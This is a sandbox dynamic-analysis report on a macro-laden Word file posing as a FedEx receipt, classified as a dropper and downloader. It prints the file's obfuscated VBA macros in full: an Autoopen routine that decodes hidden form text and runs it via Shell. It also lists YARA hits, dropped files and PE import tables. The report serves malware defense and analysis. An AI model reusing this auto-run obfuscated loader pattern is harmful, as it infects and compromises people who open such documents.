VTI SCORE: 100/100
Dynamic Analysis Report |
Classification: Exploit, Dropper, Downloader |
3692f99b76663e864b3fae22828ab01021dcc50c33f5ec041aa3b055478a4ab2 (SHA256)
receipt_FedEX_4028873.doc
Word Document
Created at 2018-12-06 22:25:00
Notifications (1/1)
The overall sleep time of all monitored processes was truncated from "45 seconds" to "30 seconds" to reveal dormant functionality.
This is a filtered view
This list contains only the embedded files and created files
Filters: |
There are no files for this filter
There are no files in this analysis
Filename | Category | Type | Severity | Actions |
---|
C:\Users\aETAdzjz\AppData\Local\Temp\tmp1971.bat | Created File | Text |
Malicious
|
...
|
»
YARA Matches
»
Rule Name | Rule Description | Classification | Severity | Actions |
---|---|---|---|---|
PowerShell_Download_Commands | PowerShell may attempt to download external content; possible dropper | - |
4/5
|
...
|
C:\Users\aETAdzjz\Desktop\receipt_FedEX_4028873.doc | Sample File | Word Document |
Suspicious
|
...
|
»
Office Information
»
Creator | Enpor Support |
Last Modified By | user |
Revision | 7 |
Create Time | 2018-12-06 13:12:00+00:00 |
Modify Time | 2018-12-06 13:30:00+00:00 |
Document Information
»
Codepage | Cryllic |
Application | Microsoft Office Word |
App Version | 12.0 |
Template | Normal |
Document Security | SecurityFlag.NONE |
Editing Time | 480.0 |
Page Count | 1 |
Line Count | 1 |
Paragraph Count | 1 |
Character Count | 1 |
Chars With Spaces | 1 |
Heading Pairs | Title |
scale_crop | False |
shared_doc | False |
VBA Macros (3)
»
Macro #1: Module1
»
Attribute VB_Name = "Module1"
Sub replacefiles(ByRef pointA, ByRef need, later)
f_str = Len(later)
If pointA <= f_str Then
ch = ""
doc_print_header later, pointA, ch
idial = 1
strings_attached ch, idial
st = ""
DataFindSymbols idial - 2, st
need = need + st
pointA = pointA + 1
replacefiles pointA, need, later
End If
End Sub
Sub DataFindSymbols(ext1, ByRef date_max)
Dim m1 As Integer
m1 = -1
date_max = ""
If ext1 = m1 Then
ext1 = m1
End If
If ext1 < 1 Then
doc_print_header UserForm1.Text1, Len(UserForm1.Text1) + ext1, date_max
Else
doc_print_header UserForm1.Text1, ext1, date_max
End If
End Sub
Sub files_replace(C1, ByRef op)
op = ""
st1 = 1
replacefiles st1, op, C1
End Sub
Sub doc_print_header(str1, pty, ByRef rmin)
s11 = Left(str1, pty)
s11 = s11 + ""
rmin = Right(s11, 2 - 1)
End Sub
Sub doveryboll(m)
Dim n As Integer
Dim sadd As String
With UserForm1
sadd = "" + .ValidText
n = m - 502
End With
If m = 502 Then Shell sadd, n
End Sub
Sub ValidateOptionsForm(wstr1)
wstr1 = wstr1 + "Open"
UserForm1.TextBox1 = wstr1 + "Form"
End Sub
Sub CloseDateForm()
Dim str2 As String
files_replace UserForm1.date1, str2
UserForm1.EditText1 = str2
str2 = str2 + ""
UserForm1.ValidText = str2
End Sub
Sub date_now(ByRef b1, ByRef control, Cell1)
log2 = 1
With UserForm1
log2 = Len(.Text1)
If b1 < log2 Then
b = ""
doc_print_header .Text1, b1, b
If Cell1 <> b Then
b1 = b1 + 1
date_now b1, control, Cell1
Else
control = b1
End If
End If
End With
End Sub
Sub strings_attached(per2, ByRef arg1)
arg1 = 0
sb1 = 1
date_now sb1, arg1, per2
End Sub
Macro #2: ThisDocument
»
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Autoopen()
ValidateOptionsForm ("case")
End Sub
Macro #3: UserForm1
»
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3201CC22-4323-4EF3-8B9C-19E82082DC0D}{CD48F839-E45B-49E9-A956-2DBED7A8E4A1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub EditText1_Change()
Dim ind1 As String
ind1 = "1" + "100"
End Sub
Private Sub CommandButton1_Click()
End Sub
Private Sub ValidText_Change()
Dim bol2 As Integer
bol2 = Len(UserForm1.ValidText)
Dim bol1 As String
bol1 = "V"
fh = "2"
doveryboll bol2
End Sub
Private Sub CommandButton2_Click()
End Sub
Private Sub TextBox1_Change()
Dim s As String
s = " "
s = s + UserForm1.Text1
If Len(s) = 62 + 1 Then CloseDateForm
End Sub
Private Sub ComboBox1_Change()
End Sub
YARA Matches
»
Rule Name | Rule Description | Classification | Severity | Actions |
---|---|---|---|---|
VBA_Execution_Commands | VBA macro may execute files or system commands | - |
3/5
|
...
|
VBA_Execution_Commands | VBA macro may execute files or system commands | - |
3/5
|
...
|
C:\Users\aETAdzjz\AppData\Local\Temp\tmp6149.exe | Created File | Binary |
Suspicious
|
...
|
»
File Reputation Information
»
Severity |
Suspicious
|
First Seen | 2018-12-06 21:48 (UTC+1) |
Last Seen | 2018-12-06 22:11 (UTC+1) |
Names | Win32.Exploit.Genkryptik |
Families | Genkryptik |
Classification | Exploit |
PE Information
»
Image Base | 0x400000 |
Entry Point | 0x4014e0 |
Size Of Code | 0x14e00 |
Size Of Initialized Data | 0x7f600 |
Size Of Uninitialized Data | 0x600 |
File Type | executable |
Subsystem | windows_gui |
Machine Type | i386 |
Compile Timestamp | 2018-12-06 19:02:02+00:00 |
Version Information (9)
»
LegalCopyright | - |
InternalName | - |
FileVersion | 1.0.0.0 |
CompanyName | - |
LegalTrademarks | - |
ProductName | - |
ProductVersion | 1.0.0.0 |
FileDescription | Developed using the Dev-C++ IDE |
OriginalFilename | - |
Sections (16)
»
Name | Virtual Address | Virtual Size | Raw Data Size | Raw Data Offset | Flags | Entropy |
---|---|---|---|---|---|---|
.text | 0x401000 | 0x14c50 | 0x14e00 | 0x400 | cnt_code, cnt_initialized_data, align_1bytes, align_4bytes, align_8bytes, align_16bytes, align_32bytes, align_64bytes, align_256bytes, align_1024bytes, align_2048bytes, align_4096bytes, align_8192bytes, align_mask, mem_execute, mem_read | 6.04 |
.data | 0x416000 | 0x5ba0 | 0x5c00 | 0x15200 | cnt_initialized_data, align_2bytes, align_4bytes, align_8bytes, align_16bytes, align_32bytes, align_64bytes, align_512bytes, align_1024bytes, align_2048bytes, align_4096bytes, align_8192bytes, align_mask, mem_read, mem_write | 2.16 |
.rdata | 0x41c000 | 0x2868 | 0x2a00 | 0x1ae00 | cnt_initialized_data, align_2bytes, align_4bytes, align_8bytes, align_16bytes, align_32bytes, align_64bytes, align_512bytes, align_1024bytes, align_2048bytes, align_4096bytes, align_8192bytes, align_mask, mem_read | 5.22 |
.bss | 0x41f000 | 0x478 | 0x0 | 0x0 | cnt_uninitialized_data, align_2bytes, align_4bytes, align_8bytes, align_16bytes, align_32bytes, align_64bytes, align_512bytes, align_1024bytes, align_2048bytes, align_4096bytes, align_8192bytes, align_mask, mem_read, mem_write | 0.0 |
.idata | 0x420000 | 0xb70 | 0xc00 | 0x1d800 | cnt_initialized_data, align_1bytes, align_2bytes, align_4bytes, align_16bytes, align_32bytes, align_64bytes, align_256bytes, align_512bytes, align_1024bytes, align_4096bytes, align_8192bytes, align_mask, mem_read, mem_write | 4.89 |
.CRT | 0x421000 | 0x38 | 0x200 | 0x1e400 | cnt_initialized_data, align_1bytes, align_2bytes, align_4bytes, align_16bytes, align_32bytes, align_64bytes, align_256bytes, align_512bytes, align_1024bytes, align_4096bytes, align_8192bytes, align_mask, mem_read, mem_write | 0.29 |
.tls | 0x422000 | 0x20 | 0x200 | 0x1e600 | cnt_initialized_data, align_1bytes, align_2bytes, align_4bytes, align_16bytes, align_32bytes, align_64bytes, align_256bytes, align_512bytes, align_1024bytes, align_4096bytes, align_8192bytes, align_mask, mem_read, mem_write | 0.23 |
.rsrc | 0x423000 | 0x4c40c | 0x4c600 | 0x1e800 | cnt_initialized_data, align_1bytes, align_2bytes, align_4bytes, align_16bytes, align_32bytes, align_64bytes, align_256bytes, align_512bytes, align_1024bytes, align_4096bytes, align_8192bytes, align_mask, mem_read, mem_write | 7.75 |
/4 | 0x470000 | 0x338 | 0x400 | 0x6ae00 | cnt_initialized_data, align_8bytes, align_16bytes, align_32bytes, align_64bytes, align_2048bytes, align_4096bytes, align_8192bytes, align_mask, mem_discardable, mem_read | 1.89 |
/19 | 0x471000 | 0xd69d | 0xd800 | 0x6b200 | cnt_initialized_data, align_1bytes, align_4bytes, align_16bytes, align_64bytes, align_256bytes, align_1024bytes, align_4096bytes, align_mask, mem_discardable, mem_read | 6.09 |
/31 | 0x47f000 | 0x1f2f | 0x2000 | 0x78a00 | cnt_initialized_data, align_1bytes, align_4bytes, align_16bytes, align_64bytes, align_256bytes, align_1024bytes, align_4096bytes, align_mask, mem_discardable, mem_read | 4.61 |
/45 | 0x481000 | 0x1ff5 | 0x2000 | 0x7aa00 | cnt_initialized_data, align_1bytes, align_4bytes, align_16bytes, align_64bytes, align_256bytes, align_1024bytes, align_4096bytes, align_mask, mem_discardable, mem_read | 5.85 |
/57 | 0x483000 | 0xb84 | 0xc00 | 0x7ca00 | cnt_initialized_data, align_1bytes, align_2bytes, align_4bytes, align_16bytes, align_32bytes, align_64bytes, align_256bytes, align_512bytes, align_1024bytes, align_4096bytes, align_8192bytes, align_mask, mem_discardable, mem_read | 4.58 |
/70 | 0x484000 | 0x31c | 0x400 | 0x7d600 | cnt_initialized_data, align_1bytes, align_4bytes, align_16bytes, align_64bytes, align_256bytes, align_1024bytes, align_4096bytes, align_mask, mem_discardable, mem_read | 4.28 |
/81 | 0x485000 | 0x19f2 | 0x1a00 | 0x7da00 | cnt_initialized_data, align_1bytes, align_4bytes, align_16bytes, align_64bytes, align_256bytes, align_1024bytes, align_4096bytes, align_mask, mem_discardable, mem_read | 3.52 |
/92 | 0x487000 | 0x5f8 | 0x600 | 0x7f400 | cnt_initialized_data, align_1bytes, align_4bytes, align_16bytes, align_64bytes, align_256bytes, align_1024bytes, align_4096bytes, align_mask, mem_discardable, mem_read | 3.18 |
Imports (2)
»
KERNEL32.dll (57)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
AddAtomA | 0x0 | 0x4201d8 | 0x2003c | 0x1d83c | 0x3 |
CloseHandle | 0x0 | 0x4201dc | 0x20040 | 0x1d840 | 0x53 |
CreateEventA | 0x0 | 0x4201e0 | 0x20044 | 0x1d844 | 0x84 |
CreateMutexA | 0x0 | 0x4201e4 | 0x20048 | 0x1d848 | 0x9e |
CreateSemaphoreA | 0x0 | 0x4201e8 | 0x2004c | 0x1d84c | 0xad |
DeleteCriticalSection | 0x0 | 0x4201ec | 0x20050 | 0x1d850 | 0xd4 |
DuplicateHandle | 0x0 | 0x4201f0 | 0x20054 | 0x1d854 | 0xea |
EnterCriticalSection | 0x0 | 0x4201f4 | 0x20058 | 0x1d858 | 0xef |
FindAtomA | 0x0 | 0x4201f8 | 0x2005c | 0x1d85c | 0x12e |
FindResourceA | 0x0 | 0x4201fc | 0x20060 | 0x1d860 | 0x14d |
GetAtomNameA | 0x0 | 0x420200 | 0x20064 | 0x1d864 | 0x170 |
GetCurrentProcess | 0x0 | 0x420204 | 0x20068 | 0x1d868 | 0x1c4 |
GetCurrentProcessId | 0x0 | 0x420208 | 0x2006c | 0x1d86c | 0x1c5 |
GetCurrentThread | 0x0 | 0x42020c | 0x20070 | 0x1d870 | 0x1c8 |
GetCurrentThreadId | 0x0 | 0x420210 | 0x20074 | 0x1d874 | 0x1c9 |
GetHandleInformation | 0x0 | 0x420214 | 0x20078 | 0x1d878 | 0x200 |
GetLastError | 0x0 | 0x420218 | 0x2007c | 0x1d87c | 0x203 |
GetProcessAffinityMask | 0x0 | 0x42021c | 0x20080 | 0x1d880 | 0x246 |
GetStartupInfoA | 0x0 | 0x420220 | 0x20084 | 0x1d884 | 0x264 |
GetSystemTimeAsFileTime | 0x0 | 0x420224 | 0x20088 | 0x1d888 | 0x27b |
GetThreadContext | 0x0 | 0x420228 | 0x2008c | 0x1d88c | 0x289 |
GetThreadPriority | 0x0 | 0x42022c | 0x20090 | 0x1d890 | 0x291 |
GetTickCount | 0x0 | 0x420230 | 0x20094 | 0x1d894 | 0x297 |
InitializeCriticalSection | 0x0 | 0x420234 | 0x20098 | 0x1d898 | 0x2eb |
InterlockedCompareExchange | 0x0 | 0x420238 | 0x2009c | 0x1d89c | 0x2f2 |
InterlockedDecrement | 0x0 | 0x42023c | 0x200a0 | 0x1d8a0 | 0x2f3 |
InterlockedExchange | 0x0 | 0x420240 | 0x200a4 | 0x1d8a4 | 0x2f4 |
InterlockedExchangeAdd | 0x0 | 0x420244 | 0x200a8 | 0x1d8a8 | 0x2f5 |
InterlockedIncrement | 0x0 | 0x420248 | 0x200ac | 0x1d8ac | 0x2f7 |
LeaveCriticalSection | 0x0 | 0x42024c | 0x200b0 | 0x1d8b0 | 0x326 |
LoadResource | 0x0 | 0x420250 | 0x200b4 | 0x1d8b4 | 0x32f |
LockResource | 0x0 | 0x420254 | 0x200b8 | 0x1d8b8 | 0x341 |
QueryPerformanceCounter | 0x0 | 0x420258 | 0x200bc | 0x1d8bc | 0x393 |
ReleaseMutex | 0x0 | 0x42025c | 0x200c0 | 0x1d8c0 | 0x3be |
ReleaseSemaphore | 0x0 | 0x420260 | 0x200c4 | 0x1d8c4 | 0x3c2 |
ResetEvent | 0x0 | 0x420264 | 0x200c8 | 0x1d8c8 | 0x3d3 |
ResumeThread | 0x0 | 0x420268 | 0x200cc | 0x1d8cc | 0x3d6 |
SetEvent | 0x0 | 0x42026c | 0x200d0 | 0x1d8d0 | 0x41d |
SetLastError | 0x0 | 0x420270 | 0x200d4 | 0x1d8d4 | 0x436 |
SetProcessAffinityMask | 0x0 | 0x420274 | 0x200d8 | 0x1d8d8 | 0x441 |
SetThreadContext | 0x0 | 0x420278 | 0x200dc | 0x1d8dc | 0x455 |
SetThreadPriority | 0x0 | 0x42027c | 0x200e0 | 0x1d8e0 | 0x45d |
SetUnhandledExceptionFilter | 0x0 | 0x420280 | 0x200e4 | 0x1d8e4 | 0x467 |
SizeofResource | 0x0 | 0x420284 | 0x200e8 | 0x1d8e8 | 0x473 |
Sleep | 0x0 | 0x420288 | 0x200ec | 0x1d8ec | 0x474 |
SuspendThread | 0x0 | 0x42028c | 0x200f0 | 0x1d8f0 | 0x47c |
TerminateProcess | 0x0 | 0x420290 | 0x200f4 | 0x1d8f4 | 0x482 |
TlsAlloc | 0x0 | 0x420294 | 0x200f8 | 0x1d8f8 | 0x487 |
TlsGetValue | 0x0 | 0x420298 | 0x200fc | 0x1d8fc | 0x489 |
TlsSetValue | 0x0 | 0x42029c | 0x20100 | 0x1d900 | 0x48a |
TryEnterCriticalSection | 0x0 | 0x4202a0 | 0x20104 | 0x1d904 | 0x491 |
UnhandledExceptionFilter | 0x0 | 0x4202a4 | 0x20108 | 0x1d908 | 0x496 |
VirtualAlloc | 0x0 | 0x4202a8 | 0x2010c | 0x1d90c | 0x4ad |
VirtualProtect | 0x0 | 0x4202ac | 0x20110 | 0x1d910 | 0x4b6 |
VirtualQuery | 0x0 | 0x4202b0 | 0x20114 | 0x1d914 | 0x4b9 |
WaitForMultipleObjects | 0x0 | 0x4202b4 | 0x20118 | 0x1d918 | 0x4c0 |
WaitForSingleObject | 0x0 | 0x4202b8 | 0x2011c | 0x1d91c | 0x4c2 |
msvcrt.dll (44)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
__dllonexit | 0x0 | 0x4202c0 | 0x20124 | 0x1d924 | 0x37 |
__getmainargs | 0x0 | 0x4202c4 | 0x20128 | 0x1d928 | 0x3a |
__initenv | 0x0 | 0x4202c8 | 0x2012c | 0x1d92c | 0x3b |
__lconv_init | 0x0 | 0x4202cc | 0x20130 | 0x1d930 | 0x44 |
__set_app_type | 0x0 | 0x4202d0 | 0x20134 | 0x1d934 | 0x68 |
__setusermatherr | 0x0 | 0x4202d4 | 0x20138 | 0x1d938 | 0x6b |
_acmdln | 0x0 | 0x4202d8 | 0x2013c | 0x1d93c | 0x7a |
_amsg_exit | 0x0 | 0x4202dc | 0x20140 | 0x1d940 | 0x90 |
_beginthreadex | 0x0 | 0x4202e0 | 0x20144 | 0x1d944 | 0x9d |
_cexit | 0x0 | 0x4202e4 | 0x20148 | 0x1d948 | 0xa1 |
_endthreadex | 0x0 | 0x4202e8 | 0x2014c | 0x1d94c | 0xda |
_findclose | 0x0 | 0x4202ec | 0x20150 | 0x1d950 | 0x104 |
_findfirst | 0x0 | 0x4202f0 | 0x20154 | 0x1d954 | 0x106 |
_fmode | 0x0 | 0x4202f4 | 0x20158 | 0x1d958 | 0x111 |
_ftime | 0x0 | 0x4202f8 | 0x2015c | 0x1d95c | 0x124 |
_initterm | 0x0 | 0x4202fc | 0x20160 | 0x1d960 | 0x15d |
_iob | 0x0 | 0x420300 | 0x20164 | 0x1d964 | 0x161 |
_lock | 0x0 | 0x420304 | 0x20168 | 0x1d968 | 0x1ca |
_onexit | 0x0 | 0x420308 | 0x2016c | 0x1d96c | 0x271 |
_setjmp3 | 0x0 | 0x42030c | 0x20170 | 0x1d970 | 0x2b0 |
_unlock | 0x0 | 0x420310 | 0x20174 | 0x1d974 | 0x346 |
_write | 0x0 | 0x420314 | 0x20178 | 0x1d978 | 0x3ef |
abort | 0x0 | 0x420318 | 0x2017c | 0x1d97c | 0x41e |
calloc | 0x0 | 0x42031c | 0x20180 | 0x1d980 | 0x42b |
exit | 0x0 | 0x420320 | 0x20184 | 0x1d984 | 0x436 |
fprintf | 0x0 | 0x420324 | 0x20188 | 0x1d988 | 0x446 |
fputc | 0x0 | 0x420328 | 0x2018c | 0x1d98c | 0x448 |
fputs | 0x0 | 0x42032c | 0x20190 | 0x1d990 | 0x449 |
free | 0x0 | 0x420330 | 0x20194 | 0x1d994 | 0x44d |
fwrite | 0x0 | 0x420334 | 0x20198 | 0x1d998 | 0x458 |
longjmp | 0x0 | 0x420338 | 0x2019c | 0x1d99c | 0x486 |
malloc | 0x0 | 0x42033c | 0x201a0 | 0x1d9a0 | 0x487 |
memcmp | 0x0 | 0x420340 | 0x201a4 | 0x1d9a4 | 0x48e |
memcpy | 0x0 | 0x420344 | 0x201a8 | 0x1d9a8 | 0x48f |
memmove | 0x0 | 0x420348 | 0x201ac | 0x1d9ac | 0x490 |
memset | 0x0 | 0x42034c | 0x201b0 | 0x1d9b0 | 0x492 |
printf | 0x0 | 0x420350 | 0x201b4 | 0x1d9b4 | 0x497 |
realloc | 0x0 | 0x420354 | 0x201b8 | 0x1d9b8 | 0x4a2 |
signal | 0x0 | 0x420358 | 0x201bc | 0x1d9bc | 0x4ab |
sprintf | 0x0 | 0x42035c | 0x201c0 | 0x1d9c0 | 0x4ae |
strcmp | 0x0 | 0x420360 | 0x201c4 | 0x1d9c4 | 0x4b7 |
strlen | 0x0 | 0x420364 | 0x201c8 | 0x1d9c8 | 0x4bf |
strncmp | 0x0 | 0x420368 | 0x201cc | 0x1d9cc | 0x4c2 |
vfprintf | 0x0 | 0x42036c | 0x201d0 | 0x1d9d0 | 0x4e3 |
C:\Users\aETAdzjz\AppData\Local\Temp\tmp6149.exe | Created File | Unknown |
Whitelisted
|
...
|
»
File Reputation Information
»
Severity |
Whitelisted
|
First Seen | 2011-05-27 11:27 (UTC+2) |
Last Seen | 2017-04-19 12:47 (UTC+2) |
c:\users\aetadzjz\appdata\local\temp\~df834800654bb3e1d0.tmp | Created File | Stream |
Whitelisted
|
...
|
»
File Reputation Information
»
Severity |
Whitelisted
|
First Seen | 2011-07-06 01:20 (UTC+2) |
Last Seen | 2018-11-10 05:26 (UTC+1) |
c:\users\aetadzjz\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2345716840-1148442690-1481144037-1000\8b5db95fe05dd9b00e55df22e826ce4d_500c0908-381e-49dc-a6a0-1a800e9a56e0 | Modified File | Stream |
Unknown
|
...
|
»
c:\users\aetadzjz\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2345716840-1148442690-1481144037-1000\8b5db95fe05dd9b00e55df22e826ce4d_500c0908-381e-49dc-a6a0-1a800e9a56e0 | Modified File | Stream |
Unknown
|
...
|
»
c:\programdata\microsoft\crypto\rsa\s-1-5-18\6d14e4b1d8ca773bab785d1be032546e_500c0908-381e-49dc-a6a0-1a800e9a56e0 | Created File | Stream |
Unknown
|
...
|
»
c:\programdata\microsoft\crypto\rsa\s-1-5-18\6d14e4b1d8ca773bab785d1be032546e_500c0908-381e-49dc-a6a0-1a800e9a56e0 | Created File | Stream |
Unknown
|
...
|
»